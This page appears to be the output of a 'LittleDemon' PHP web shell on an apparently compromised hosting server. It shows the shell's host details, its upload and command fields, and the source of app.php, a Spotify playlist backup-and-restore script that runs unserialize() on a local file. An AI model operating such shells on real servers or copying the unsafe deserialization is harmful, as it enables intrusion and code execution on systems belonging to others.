LittleDemon WebShell


Linux hosting5.siteguarding.com 3.10.0-962.3.2.lve1.5.88.el7.x86_64 #1 SMP Fri Sep 26 14:06:42 UTC 2025 x86_64
Path : /home/devsafetybis/spotify.dev.safetybis.com/
File Upload :
Command :
Current File : /home/devsafetybis/spotify.dev.safetybis.com/app.php

<?php

session_start();

require 'autoload.php';

$api = new SpotifyWebAPI\SpotifyWebAPI();

// Fetch the saved access token from somewhere. A session for example.

$accessToken = $_SESSION['accessToken'];

$api->setAccessToken($accessToken);

if(file_exists('playlists')){
	$playlistsInfo = unserialize(file_get_contents('playlists'));
	
	foreach($playlistsInfo as $info){
		if(count($info['tracks']) != 0){
			$newObj = $api->createPlaylist(['name' => $info['name']]);
			sleep(3);
			$api->addPlaylistTracks($newObj->id, $info['tracks']);
			sleep(3);
			echo " created ";
		}
	}
	
	
/* 	$IDs = explode("\n",file_get_contents('playlistsIDs'));
	$fixedlastitem = array_pop($IDs);
	foreach($IDs as $id){
		$api->followPlaylist($id);
		sleep(3);
	} */
	
	
	unlink('playlists');
	
	die();
}


$playlistsIDs = [];

foreach($api->getMyPlaylists()->items as $playlist){
	
	$tracksArray = [];
	
	//get tracks
	$tracks = $api->getPlaylistTracks($playlist->id)->items;
	foreach($tracks as $track){
		$tracksArray[] = $track->track->uri;
	}
	//get tracks
	
	sleep(1);
	
	$playlistsIDs[] = array(
		'id' => $playlist->id,
		'name' => $playlist->name,
		'tracks' => $tracksArray,
	);
}

file_put_contents('playlists',serialize($playlistsIDs));

unset($_SESSION['accessToken']);

echo "Go to <a target='_blank' href='https://open.spotify.com/'>Spotify</a> and log out.\n";

// It's now possible to request data about the currently authenticated user
echo "Playlist IDs are saved. Go to <a href='https://spotify.dev.safetybis.com/auth.php'>Link</a> "  ; 

// Getting Spotify catalog data is of course also possible
/*  print_r(
    $api->getTrack('7EjyzZcbLxW7PaaLua9Ksb')
);  */

LittleDemon - FACEBOOK
[ KELUAR ]